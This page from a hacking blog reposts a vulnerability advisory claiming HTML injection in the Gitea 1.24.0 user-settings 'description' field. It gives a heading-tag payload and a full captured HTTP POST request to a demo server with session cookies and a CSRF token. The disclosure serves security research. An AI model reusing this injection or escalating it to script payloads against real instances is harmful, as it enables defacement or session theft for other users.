Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86383692

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Gitea 1.24.0 - HTML Injection
# Date: 2025-03-09
# Exploit Author: Mikail KOCADAĞ
# Vendor Homepage: https://gitea.com
# Software Link: https://dl.gitea.io/gitea/1.24.0/
# Version: 1.24.0
# Tested on: Windows 10, Linux Ubuntu 22.04
# CVE : N/A

## Vulnerability Description:
In Gitea 1.24.0, the "description" parameter on the user settings page is vulnerable to HTML Injection and potentially Reflected XSS. The user-supplied HTML content is not properly sanitized, allowing it to be executed in the browser. When a user saves their profile description containing malicious HTML or JavaScript code, the payload successfully executes, confirming the vulnerability.

## Exploit PoC:
[https://lh7-rt.googleusercontent.com/docsz/AD_4nXeh7FQb3EdM3-fPqRLqZ4Oh5JlVQdHjhBHEtPL5U9mEtTeWwiMdfx1SpyYC-Kg7EiWCy-Mpay8ZKz6WDw5hCYLrbCrAN2Dlg5xAnNIMuL9ui8ZNjH9GzD_rwdtjbGRkyoTP-uAd?key=pDzgPVQKg3NL0T6shAZ0U6Xz][https://lh7-rt.googleusercontent.com/docsz/AD_4nXc-OZUDyqxfXQV92GwjmahRYFv7BzYhJ5lG2F6slXNyRVRcgyB2yNbK_NMkFkWbU6IggK4xOkUDP5aukMiEjFS18zIc3DDUR7M0wivQMF2aWRt91yx_ayb7AB556Uot1LVUaa1z8w?key=pDzgPVQKg3NL0T6shAZ0U6Xz]

## Paload:<h1>deneme</h1>
### **1. Request:**
POST /user/settings HTTP/2
Host: demo.gitea.com
Cookie: _gid=GA1.2.1249205656.1740139988; _ga=GA1.2.291185928.1740139987; i_like_gitea=d9da795e317a0ced; lang=tr-TR; _ga_WBKVZF2YXD=GS1.1.1740139987.1.1.1740140041.6.0.0; _csrf=f9ITrnNQIzvSX-yvHX64qhoc_8w6MTc0MDE0MDY0MDQ2MTE0MDgyMQ
Content-Length: 312
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="133", "Not(A:Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: tr-TR,tr;q=0.9
Origin: null
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Priority: u=0, i

_csrf=f9ITrnNQIzvSX-yvHX64qhoc_8w6MTc0MDE0MDY0MDQ2MTE0MDgyMQ
&full_name=Abuzettin
&description=%3Ch1%3Edeneme%3C%2Fh1%3E
&website=
&location=
&visibility=0
&keep_email_private=on